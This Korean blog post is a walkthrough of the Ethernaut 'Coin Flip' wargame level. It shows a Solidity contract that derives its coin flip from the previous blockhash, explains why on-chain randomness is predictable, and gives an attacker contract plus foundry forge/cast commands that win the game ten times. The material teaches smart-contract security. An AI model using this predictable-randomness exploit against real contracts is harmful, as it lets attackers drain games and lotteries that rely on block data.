[ethernaut] Coin Flip

wooz3k.eth·2022년 12월 25일
0
post-custom-banner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

이 문제는 flip() 함수 호출을 할 때 true, false (동전의 앞면 뒷면) 을 맞추면 consecutiveWins 값이 증가하게 되는 컨트렉트인데 이 값을 10을 만들면 (연속으로 10번 맞추면) 풀리게 되는 문제이다.

이 문제는 ethereum 에서 random값을 생성하는게 어렵다는 점과 blockchain 특성상 온체인에서 random값을 생성하는 것은 공격에 취약하다는 특징이 존재한다. ( 채굴자/검증자가 mev 극대화를 위해 공격 가능성, random값을 누구나 예상 가능 )

이 문제 같은 경우는 offchain에서 random값을 가져오는 것이 아닌 block number를 이용하여 random 값을 생성하기 때문에 이 값을 확정적으로 구할 수 있다.

contract payload {

    CoinFlip public target = CoinFlip(0xF312A8f555137415878f323479780abc9a0d9Ab6);
    uint256 public FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    function attack() public
    {
        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool answer = coinFlip == 1 ? true : false;

        target.flip(answer);
    }
}

다음과 같은 컨트렉트를 배포하여 attack() 함수를 10번 호출하여 문제를 해결하였다.

forge create --rpc-url $G_RPC --private-key $P_KEY src/answer.sol:payload

foundry로 contract 배포

cast send --rpc-url $G_RPC --private-key $P_KEY 0x6885De7A3D33D58a36a211107e00d15eF02f7628 "attack()"

10번 실행 ( 쉘 스크립트 혹은 web3 py로도 풀이가 가능하다.)

profile
Theori ChainLight Web3 Researcher
post-custom-banner

0개의 댓글